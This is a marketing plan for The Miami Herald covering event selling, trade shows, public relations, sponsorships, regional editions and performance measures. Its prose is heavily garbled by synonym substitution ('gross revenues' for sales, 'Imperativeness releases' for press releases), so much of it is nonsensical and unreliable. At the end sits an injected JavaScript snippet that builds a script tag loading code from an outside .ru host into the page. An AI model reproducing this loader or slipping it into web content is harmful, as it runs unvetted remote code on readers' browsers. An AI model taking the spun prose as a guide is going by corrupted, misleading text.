Caribbean weekend sail. This gross revenues publicity will assist bring forth possible client information. Event Selling ? Setup collapsible shelters, such as in the Broward County Fair, and other local events. Give away chapeaus, tee shirts, athleticss bottles and other dainties w/Herald logo. Trade Shows ? Introduce the Herald to Monroe and Palm Beach to clients and local retail merchants. ? Gather client and competitory information. Follow-up through gross revenues calls or direct selling. ? Identity new chances Personal Selling 1. Aims As portion of our personal merchandising run we will utilize several person-to-person schemes in order to help, persuade or even do perspective purchasers cognizant of the merchandise and finally buy The Herald over other newspapers. The first measure in developing client relationships is turn uping perspective clients through the purchase of a list of client with similar features to those that read, or even those who don # 8217 ; t read other newspapers in the Palm Beach country. We will concentrate on fulfilling client demands and stress on client service in order to develop long-run relationships, which in the long tally, will germinate into trade name trueness. We will make consciousness of The Herald through telephone gross revenues, and set-up bases outside local shops with gross revenues people advancing The Herald. We will concentrate on originating test and acquiring the order. 2. Selling Scheme Our selling scheme will concentrate chiefly on positioning The Herald as carry throughing our clients # 8217 ; demands and outlooks by supplying the most accurate and utile information to them. We will offer free tests that will let people to see The Herald and justice for themselves if the paper is deserving subscribing to. Our selling scheme will besides concentrate on supplying our client with outstanding client service. In the Miami country we will concentrate on prolonging the bing market portion. Where as in Broward County we will concentrate on increasing our market portion. PUBLIC RELATIONS 1. Aim The chief focal point of our public dealingss schemes is to develop and transport out a communications plan designed to convey about public apprehension and credence. In order to develop the best overall image possible for The Herald, in the fastest manner possible, we will work hand-to-hand with the advertising/marketing sections. This manner, the populace will see The Herald as a newspaper who cares about the community # 8217 ; s good being. 3. Schemes Imperativeness Releases Imperativeness releases will be mailed out to the media, denoting of import information refering to that media vehicle or the community in general. Imperativeness releases will be forwarded to local channels informing them and in bend inform the populace about local events of importance to the community. Community Involvement: The Herald will concentrate on going involved with the community by take parting in and seting together particular events to make good will among the community while at the same clip advancing the company # 8217 ; s image. The Herald will patronize occupation carnivals at Universities in Broward and Palm Beach County. In order to make extra entreaties towards the merchandises image-the nexus between academics/intellect and taking the Herald. The Herald will patronize fund-raisers of local charities such as The Children # 8217 ; s Home Society of Florida, among others. The Herald will partake in trade shows, where we will garner client information by actuating them to take part in sweepstakes in order to spread out our client base. Sports Selling: The events sponsored by The Herald lucifer with the audience we are aiming. Sponsorship of a golf tourney in West Palm Beach would be an effectual sponsorship event. In add-on, in order to affect the community at big, The Herald will form a tri-county charity race from Palm Beach to Miami that would profit local charities. Internet: With today # 8217 ; s increasing available Internet entree it is of import to take advantage of the chances the Internet offers. The Herald web site will supply the media and the populace with instant entree to extra beginnings of information on an issue at manus. For case, during the election we may supply up-to-date information about each campaigner running for presidential term. The Herald will besides supply particular links to local topographic points of involvement such as a list of eating houses, local events, and topographic points to see. FRINGE Selling 1. Aims ? To maintain clients from Miami-Dade County. ? To construct a positive image in Broward county in order to acquire readers of rivals newspapers to exchange to the Miami Herald. ? To present The Herald in South Palm Beach in order to increase distribution in that county. 2. Schemes Trading ? Retailers of Miami-Dade, Broward, and South Palm Beach will obtain inducements to do The Herald more seeable to consumers. ? Free packaged points will be given away outside of Publix when subscribing to the Miami Herald in Broward and South Palm Beach. ? Free subscription for one month will be given to new clients of local overseas telegram companies in South Palm Beach. Sponsorship of events In the sponsorship of events, we will work in concurrence with the Public Relations section. ? Sponsorship to heighten The Miami Herald # 8217 ; s image. It is of import that the events we sponsor lucifer with the audience we are seeking to aim. For illustration, patronizing a golf tourney in West Palm Beach would function our intent. ? Sponsor occupation carnivals at Universities in Broward and Palm Beach County. We want to this to make an extra entreaty towards the merchandises image-the nexus between academics/intellect and taking the Herald. Boxing ? Changing the merchandise to make local editions for Broward and South Palm Beach counties by custom-making the day-to-day supply of information printed. ? Every county will hold its ain edition with its ain newspaper format. The line Broward edition, South Palm Beach edition and Broward edition will look below the name of the newspaper # 8220 ; The Herald # 8221 ; . PERFORMANCE EVALUATION PLAN We will measure consequences on the footing of the undermentioned alterations in The Herald produced as a consequence of out run: ? Increase in circulation in South Palm Beach and Broward Counties. ? Increase in subscriptions in South Palm Beach and Broward Counties. ? Increase in publicizing grosss in Miami-Dade, South Palm Beach and Broward Counties. ? Awareness and positive image developed in South Palm Beach and Broward Counties over rivals. This information will be collected by directing studies to endorsers in those countries. ? Number of times The Herald appears in the media as related to the events carried out. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;